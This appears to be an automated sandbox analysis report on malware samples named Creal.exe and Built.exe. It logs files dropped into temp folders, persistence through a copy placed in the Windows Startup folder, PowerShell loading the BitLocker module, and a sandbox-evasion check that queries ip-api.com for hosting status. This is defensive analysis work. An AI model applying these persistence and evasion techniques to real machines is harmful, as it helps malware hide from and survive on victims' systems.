Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD2.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Boot Survival

Drops PE files to the startup folder

Source: C:\Users\user\Desktop\Creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Jump to behavior

Source: C:\Users\user\Desktop\Creal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\Creal.exe

Code function: 2_2_00007FF6D92476C0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

2_2_00007FF6D92476C0

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3

Source: C:\Users\user\Desktop\Built.exe

Code function: 4_2_00007FFD935D8816 sgdt fword ptr [rax]

4_2_00007FFD935D8816

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7877
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1614
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7802
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1683

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_cffi_backend.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\python313.dll	Jump to dropped file
